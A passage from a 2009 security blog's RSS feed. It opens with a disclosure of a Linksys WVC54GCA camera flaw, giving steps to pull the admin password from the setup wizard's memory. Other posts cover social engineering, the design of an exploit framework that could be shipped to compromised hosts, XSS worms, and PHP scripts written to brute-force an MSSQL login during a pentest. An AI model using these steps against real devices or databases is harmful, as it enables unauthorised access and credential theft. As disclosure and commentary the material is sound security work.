<p>I found this vulnerability while investigating <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4390">CVE-2008-4390</a>. I wanted to know if CVE-2008-4390 affected my camera, even though it was reported to affect a different Linksys IP camera firmware and model. The CVE entry states:</p>

<blockquote>The Cisco Linksys WVC54GC wireless video camera before firmware 1.25 sends cleartext configuration data in response to a Setup Wizard remote-management command, which allows remote attackers to obtain sensitive information such as passwords by sniffing the network.</blockquote>

<p>So I started trying to figure out if the WVC54GCA also discloses sensitive information when communicating with the <a href="http://downloads.linksysbycisco.com/downloads/WVC54GCA-CD-Content-10-25-2007_SetupWiz.zip">wizard</a>. <a href="http://www.kb.cert.org/vuls/id/MAPG-7HJKSA">According to the vendor</a>, the issue has been fixed:</p>

<blockquote>Solution: 2300 and 210 have encrypted data and have no such issue. To decode the data, an administrator username/password is a MUST.</blockquote>

<p>At first sight, when capturing the traffic between the wizard and the cam, I couldn&#8217;t see the data traveling in human readable form. While trying to figure out how the data is sent over the network (i.e.: encoded/encrypted), I realized there was something seriously wrong with the handshake mechanism.</p>

<p>The following is a very generic (and possibly inaccurate) description of the handshake</p>

<ol>
<li>Wizard (<code>SetupWizard.exe</code>) sends UDP request to 255.255.255.255:916</li>
<li>Camera responds back to 255.255.255.255 using the <a href="http://en.wikipedia.org/wiki/DCE/RPC">DCERPC</a> protocol and presents itself with identity info such as the value of the &#8216;defname&#8217; variable which looks like LKXXXXXX, where &#8216;X&#8217; is a hex digit. This identity info is picked up by <code>SetupWizard.exe</code>. Some of this info such as MAC address, IP address and subnet mask is shown in the wizard.</li>
<li>From now on, <code>SetupWizard.exe</code> uses the camera&#8217;s &#8216;defname&#8217; variable when talking to it, so that the camera knows what requests submitted to 255.255.255.255:916 it should respond to.</li>
</ol>

<p>At this point the wizard &#8220;has discovered&#8221; the camera and the user can go through the setup procedure. For security reasons, the user needs to enter the admin username and password, before the setup process can start. Otherwise anyone could make changes to the camera without authenticating.</p>

<p>Now, here is the important bit. If you capture the network traffic while running <code>SetupWizard.exe</code>, you&#8217;ll notice that <strong>when the user is asked to enter the admin username and password after the camera is discovered, there are NO requests sent from the wizard to the camera in order to verify that the entered username/password combination is correct! </strong></p>

<p>&#8220;How is this possible? What the heck is going on?!&#8221; I thought. I was terrified to confirm my worst fear: the wizard already &#8220;knows&#8221; the camera&#8217;s admin username and password at this point, thus there is no need to ask the camera again. Indeed, at this point &#8211; <em>before the user enters the admin username and password</em> that is &#8211; the camera&#8217;s credentials are already loaded into the memory of the <code>SetupWizard.exe</code> process. This is because the camera  has previously transfered the admin credentials along with other configuration data!</p>

<p>In case I didn&#8217;t explain myself properly I&#8217;ll summarize the issue by saying that <strong>the camera transfers the admin username and password to the wizard before the user enters them</strong>.</p>

<p>The following steps demonstrate how an unauthenticated attacker can remotely obtain the camera&#8217;s admin username and password:</p>

<ol>
<li>Download the <a href="http://downloads.linksysbycisco.com/downloads/WVC54GCA-CD-Content-10-25-2007_SetupWiz.zip">setup wizard</a>. You might need to download a different wizard if you want to test this vulnerability on a different Linksys IP camera model</li>
<li>Run <code>SetupWizard.exe</code></li>
<li>Click on &#8220;Click Here to Start&#8221; / &#8220;Setup Camera&#8221; / &#8220;Next&#8221; (after accepting EULA) / &#8220;Next&#8221; (4 more times in total)</li>
<li>The discovery process is quite flaky, so if the wizard hasn&#8217;t found your camera yet, click on &#8220;Search Again&#8221; as many times as required until it works</li>
<li>You should now see your camera&#8217;s name under the &#8220;Camera List&#8221; column and also various configuration data under the &#8220;Status&#8221; column:
<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/wizard_cam_discovery-300x225.png" alt="Wizard Cam Discovery" title="Wizard Cam Discovery" width="300" height="225" class="alignnone size-medium wp-image-2922" /></div></li>
<li>You now need to dump the process memory of <code>SetupWizard.exe</code> using your favorite <a href="http://www.ntsecurity.nu/toolbox/pmdump/">tool</a>:
<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/setupwizardexe_mem_dump_21-300x166.png" alt="setupwizardexe Mem Dump 2" title="setupwizardexe Mem Dump 2" width="300" height="166" class="alignnone size-medium wp-image-2926" /></div></li>
<li>Then open the memory dump file using your favorite <a href="http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm">hex editor</a></li>
<li>Now you can either search for &#8220;admin&#8221; and find the admin password after a few null bytes, or tell your hex editor to go to decimal position 75058 (&#8220;Address&#8221; / &#8220;Goto &#8230;&#8221; menu on XVI32). In my case the admin password would always fall within this position:
<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/admin_password_extraction1-300x217.png" alt="Admin Password Extraction 1" title="Admin Password Extraction 1" width="300" height="217" class="alignnone size-medium wp-image-2945" />
<img src="http://www.gnucitizen.org/static/blog/2009/04/admin_password_extraction_2-300x216.png" alt="Admin Password Extraction 2" title="Admin Password Extraction 2" width="300" height="216" class="alignnone size-medium wp-image-2947" /></div></li>
<li>Have fun! (the most important step really)</li>
</ol>

<p>It is somehow ironic that a free tool provided by the vendor of a product can be used as a &#8220;hacker&#8221; tool against their own product.</p>

<p><em>As far as I know, this vulnerability cannot be exploited over the Internet, since the camera only responds to wizards located in the same LAN. Never say never though, so if you find a way to exploit this vulnerability over the Internet, please <a href="http://www.gnucitizen.org/contact/">contact</a> us.</em></p>

<p>UPDATE: CPU and additional OS info added.</p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/L70Pxgeh0oI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/</feedburner:origLink></item>
		<item>
		<title>It is All About People Manipulation Skills</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/2sj1FfUKA44/</link>
		<comments>http://www.gnucitizen.org/blog/it-is-all-about-people-manipulation-skills/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 09:15:05 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[commentary]]></category>
		<category><![CDATA[manipulation]]></category>
		<category><![CDATA[people]]></category>
		<category><![CDATA[skills]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2955</guid>
		<description><![CDATA[On the 14th this month, Computerworld published an interesting article titled &#8216;Mafiaboy&#8217; spills the beans at IT360 on underground hackers. Interesting read but nothing too exciting.



The article is yet another proof that we are all in big trouble. Simply put, the technology will continue to develop and the majority of people wont be able to keep up. As long as the situation remains the same, people and corporations will get exploited regardless how tight their security is. [...]]]></description>
			<content:encoded><![CDATA[<p>On the 14th this month, Computerworld published an interesting <a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&#038;articleId=9131571&#038;source=rss_topic82">article</a> titled <q>&#8216;Mafiaboy&#8217; spills the beans at IT360 on underground hackers</q>. Interesting read but nothing too exciting.</p>

<div class="screen"><a href="http://www.flickr.com/photos/sreejithk2000/2385193167/"><img src="http://farm3.static.flickr.com/2381/2385193167_b654c17189.jpg?v=1207253004" alt="The crowd" /></a></div>

<p>The article is yet another proof that we are all in big trouble. Simply put, the technology will continue to develop and the majority of people wont be able to keep up. As long as the situation remains the same, people and corporations will get exploited regardless how tight their security is. It is inevitable. At the end of the day, it is all about people, not technology.</p>

<p><em>Social engineering skills has been a major part of the hacker&#8217;s toolkit for ages and the situation is unlikely to change. The humans are still the weakest link and that is something that can only be fixed through education and by continuously rising awareness.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/2sj1FfUKA44" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/it-is-all-about-people-manipulation-skills/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/it-is-all-about-people-manipulation-skills/</feedburner:origLink></item>
		<item>
		<title>Exploit Development Framework Design</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/_jDJKjbFqeo/</link>
		<comments>http://www.gnucitizen.org/blog/exploit-development-framework-design/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 09:40:15 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2881</guid>
		<description><![CDATA[Perl, Ruby Python: use the language that suits your character. However, one of the things that differentiate python from the rest is its philosophy, which is: there should be one&#8211; and preferably only one &#8211;obvious way to do it (where it is a problem). This philosophy gives python some interesting advantages over other similar languages. That will be explained later on. [...]]]></description>
			<content:encoded><![CDATA[<p>Perl, Ruby Python: use the language that suits your character. However, one of the things that differentiate python from the rest is its philosophy, which is: <q>there should be one&#8211; and preferably only one &#8211;obvious way to do it</q> (where <q>it</q> is <q>a problem</q>). This philosophy gives python some interesting advantages over other similar languages. That will be explained later on.</p>

<div class="screen"><a href="http://www.flickr.com/photos/schoffer/196079076/"><img src="http://farm1.static.flickr.com/76/196079076_ef3d5172dc.jpg?v=0" alt="graz - graffiti :: monty python" /></a></div>

<p>This post is merely a summary of my research work on how to build a better exploitation framework ala <a href="http://www.metasploit.com">metasploit</a>-style.</p>

<h3>The Problem</h3>

<p>Metasploit is great but there are three things that makes the framework sometimes inconvenient: it&#8217;s size, it&#8217;s dependency of the ruby platform and of course it&#8217;s speed. It will be great if for example we can take a single exploit (or a set of exploits) out of the framework and compile it into a standalone executable. On the advantage side, this type of solution will also allow us to ship the framework as a payload to already compromised systems and use it from there as a stepping stone for further propagation. It will also allows us to run exploits from compromised embedded devices as long as we can compile for their architecture, which is pretty cool.</p>

<div class="message">I understand that it is possible to bundle the entire framework plus the ruby environment into one executable but such a solution is simply not elegant enough and not fully cross-platformed.</div>

<h3>Introduction</h3>

<p>Back in the days when Metasploit was written in Perl, there were a few other frameworks trying to do similar things but in C and C++. A solution based on C or C++ is a lot more interesting as it allows us to compile standalone versions of the framework and use them as we wish. It simply makes the framework very good for embedding and also quite suitable for delivering it as a payload to the systems we would like to compromise.</p>

<p>Nowadays, a C and C++ solution is often doomed to failure. The reason for this is because when building a framework you can easily get into a situation where you need to solve a pretty complicated problem. Both C and C++ lack the dynamicism and the degree of expression available in languages such as perl, python and ruby and therefore, while they remain very suitable for low level stuff, they start to loose their grounds when it is needed to build something that is more abstract and high level.</p>

<h3>Some Solutions</h3>

<p>Keeping all of the above in mind I started putting words into practice. In the spirit of a zen monk, I started thinking which parts of the metasploit framework are most valuable to a penetration tester so that they can be branched out. As it happens, the obvious answer is: <q>the exploits</q>. The <q>Auxiliary</q> modules are great but they represent functionalities which are already available in other tools. So, the first idea was to take the exploits and payloads out and rewrite them into something that is more suitable.</p> 

<p>I decided to see for myself if I can prototype a simple exploitation framework in C++ that all it should so is to implement several abstract interfaces for exploit development, a a class with common methods for payloads (empty of course) and of course a simple interface to run an exploit with a payload against a target. All of this was achieved in a <q>hello world</q> fashion exploiting a simple stack overflow on a proggie from the command line and of course without the need to circumvent any protection mechanisms in place.</p>

<p>Although I was pleased with the result of the prototype, I was not convinced that this is a good enough solution. Programming in C++ is fun, especially when you haven&#8217;t done it for a couple of years, but still not as practicle as I would like it to be. We can most certainly build a DSL on the top of C and C++ by using Preprocessor Directives but when you are developing an exploit you want to make the process as painless as possible and C directives are only making it worse when hunting for a bug in the exploit. Not to mention that compiling something every time you make a change is not cool at all.</p>

<p>Being a pythonist and knowing the python mantra inside out, I thought that it should be possible to write all of the exploits and payloads in python and convert them into C or C++ at later stage as long as I stick to using a minimal set of the language features which can be directly translated with regexes and some basic parsing. After all, python looks like an executable pseudo code. Luckily for me, such a solution already exists and it is called <a href="http://code.google.com/p/shedskin/">shedskin</a>.</p>

<p>Now shedskin is a lot more than a simple python to C++ translator. Not only it can convert a python program to C++ source but it also implements all of python&#8217;s builtins and it has support for some of python&#8217;s most useful modules such as <code>re</code> and <code>socket</code>. On the top of that, it is trivial to implement additional modules to the shedskin framework in python. <em>This is a product I will happily pay for!</em></p>

<h3>Analysis</h3>

<p>I played quite a lot with the shedskin compiler tweaking things as I go. Although the parser is pretty advanced there are some restrictions enforced on the language. All of them are nicely covered in the shedskin&#8217;s tutorial.</p>

<p>It was time to see if I do need the advanced python features for developing the exploits. I run through all Metasploit payloads and exploits and a pattern started to emerge. The majority of the exploits were pretty basic. They all came down to the following algorithm more or less:</p>

<ol>
<li>Select an exploit</li>
<li>Pack a structure/payload that will be sent over a socket or will be dumped into a file</li>
<li>Send/Save the payload</li>
</ol>

<p>Obviously, there is no need for python sugar to implement that.</p>

<h3>The Design</h3>

<p>I did quite a lot of work investigating the best approach to tackle the problem of creating a good enough exploitation framework and I came up with the following basic idea:</p>

<p>We start with the same basic building blocks as found in metasploit. We need abstract classes for Exploits and Shellcodes and also classes that implement them to define more functional classes such as those that needs to be implemented when writing remote exploits for example (socket stuff). We use the basic python capabilities keeping shedskin in mind. As I mentioned, shedskin is quite advanced so most of the functionalities can be implemented without even taking it into consideration at all.</p>

<p>That will provide the core of the framework. All of the exploits now can be written on the top of this. The exploits themselves should reuse as much as of the builtin methods as possible as that their portability will be guaranteed.</p>

<p>A layer above that, we write as much as python sugar as we want. We simply don&#8217;t care how we are going to write it because that part of the framework doesn&#8217;t have to be compiled.</p>

<p>In summary, we layer the whole thing like that:</p>

<ul>
<li><strong>Layer 01.</strong> Core Exploit Development Classes implementing the most basic set of python features</li>
<li><strong>Layer 02.</strong> Exploits implementing the Core Exploit Development Classes</li>
<li><strong>Layer 03.</strong> Python sugar to glue it all together</li>
</ul>

<h3>Conclusion</h3>

<p>So, it is possible to write a good and well-designed exploitation framework in python that allows exploits to be separated and compiled in standalone native executables. Not only that, but we do not sacrifice from the dynamicism of the python language as while the core will be written in basic python, the rest will be as dynamic as we want. Imho, this is all possible due to python&#8217;s mantra that <q>there should be one&#8211; and preferably only one &#8211;obvious way to do it</q>. It just makes it easier to write briliant tools such as shedskin.</p>

<div class="message">Although I am quite excited to start writing such a beast right a way, I am going to <code>pass</code> this time. I am starting to learn to say <q>NO</q> because I&#8217;ve got far too many things on my plate already.  However, if anyone is interested in working on this, I will be very happy to facilitate the project as much as I can and give a hand where necessary.</div>

<p><em>I am very interested to hear your opinion and I am even more interested to get the opinion of the Metasploit team as they have a lot more experience in coding exploitation frameworks than me.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/_jDJKjbFqeo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/exploit-development-framework-design/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/exploit-development-framework-design/</feedburner:origLink></item>
		<item>
		<title>Even More XSS Worms</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/xg_PlnFWsew/</link>
		<comments>http://www.gnucitizen.org/blog/even-more-xss-worms/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 08:29:41 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2858</guid>
		<description><![CDATA[This morning I spotted several blog posts mentioning that Twitter has been hit by yet another XSS worm.



There is no merit in discussing how this has been done and for what purposes but this incident is yet another proof that the attack landscape is rapidly changing and moving towards web enabled infrastructures and the client-side. [...]]]></description>
			<content:encoded><![CDATA[<p>This morning I spotted <a href="http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/">several blog posts</a> mentioning that Twitter has been hit by yet another XSS worm.</p>

<div class="screen"><a href="http://www.flickr.com/photos/trinnity/2909816334/"><img src="http://farm4.static.flickr.com/3081/2909816334_8cd7c9972a.jpg?v=0" alt="Mark's Twitter Friends" /></a></div>

<p>There is no merit in discussing how this has been done and for what purposes but this incident is yet another proof that the attack landscape is rapidly changing and moving towards web enabled infrastructures and the client-side. Soon or later almost every website will be equipped with social capabilities (google&#8217;s own opensocial and friendconnect platforms) and than simple persistent XSS attacks will turn into quite nasty problems.</p>

<p><em>Time will tell!</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/xg_PlnFWsew" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/even-more-xss-worms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/even-more-xss-worms/</feedburner:origLink></item>
		<item>
		<title>Tools of Trade</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/o6_JqQcAlGk/</link>
		<comments>http://www.gnucitizen.org/blog/tools-of-trade/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 20:18:31 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[experience]]></category>
		<category><![CDATA[rant]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2842</guid>
		<description><![CDATA[I wish I had the ultimate tool, whether that is a programing language such as perl, python and ruby, or whether it is a framework like metasploit and vulnerability scanner like nessus. I wish, but I know that such thing doesn&#8217;t exist and probably never will.



Lately I&#8217;ve been dropping a lot bash scripts on public forums and of course on work related projects. Many people came back to me asking why I chose bash. Python or perl would have been better! [...]]]></description>
			<content:encoded><![CDATA[<p>I wish I had the ultimate tool, whether that is a programing language such as perl, python and ruby, or whether it is a framework like metasploit and vulnerability scanner like nessus. I wish, but I know that such thing doesn&#8217;t exist and probably never will.</p>

<div class="screen"><a href="http://www.flickr.com/photos/hckyso/3191642647/"><img src="http://farm4.static.flickr.com/3255/3191642647_70b39632f9.jpg?v=1231794403" alt="Tools of Trade" /></a></div>

<p>Lately I&#8217;ve been dropping a lot bash scripts on public forums and of course on work related projects. Many people came back to me asking why I chose bash. <q>Python or perl would have been better!</q> While I agree that both python and perl are a lot more expressive, I disagree that tools in general should be written just to accommodate the needs of a particular framework. Tools are tools and they have their lifetime just like everything else. So should we bother?</p>

<p>Recently I had to communicate with a MSSQL server on a pentesting job. For that purpose I&#8217;ve downloaded sqsh. Unfortunately the tool failed with a linking error. So I decided to go and download the sources and compile. I did that but the build failed because my environment was lacking certain unusual environment variables the tool needed to build successfully. Alright, running out of time, I decided to check whether there are other tools for SQL server. I found dbishell which is a tool written in perl. Run the tool for Sybase backend but it complained that I am missing libraries. So I downloaded the dbi sybase perl libraries and installed them. I run the tool again but it failed with an error. It couldn&#8217;t display the error because I was lacking another perl library.</p>

<p>Ok, that was ridiculous and I desperately needed a solution. So I came up with something I do not normally do. I checked PHP&#8217;s sybase integration online and I found that it is relatively straightforward to communicate with MSSQL backends from PHP scripts. I wrote a simple script to bruteforce the login with several passwords I had at hand. Once I found the login, lucky me, I wrote another script, again in PHP, just to dump various information from the database such as other database users and their hashes. Lucky me!</p>

<div class="message">In summary, I spent ridiculous amount of time trying to make established frameworks and tools to work while I could have saved all the hustle and started with PHP from the beginning.</div>

<p>The reason I am telling you this story is because I have an important message convey here: <q>Tools are just Tools!</q> If metasploit cannot exploit the vulnerability perhaps you can create something yourself. If nessus fails to detect a problem, perhaps there is another approach you should use to handle the situation. We often start a new framework or tool and suddenly decide that it should handle all situations. Well that is virtually impossible! The situation always change.</p>

<p>So, don&#8217;t stick to a single tool just because it works 80% of the time. And don&#8217;t waste time trying to make the tool work in the rest 20%. It is pointless, especially when you are dealing with frameworks. There are a lot more elegant solutions out there you can employ to solve your particular problem. These solutions may not be elegant and perhaps they are written in something as unconventional as <a href="http://en.wikipedia.org/wiki/Brainfuck">brainfuck</a>, but they are solutions nevertheless.</p>

<p><em>Remember, tools solve problems! If a tool cannot solve the problem it is no longer a tool. It is a useless blob!</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/o6_JqQcAlGk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/tools-of-trade/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/tools-of-trade/</feedburner:origLink></item>
	</channel>
</rss>
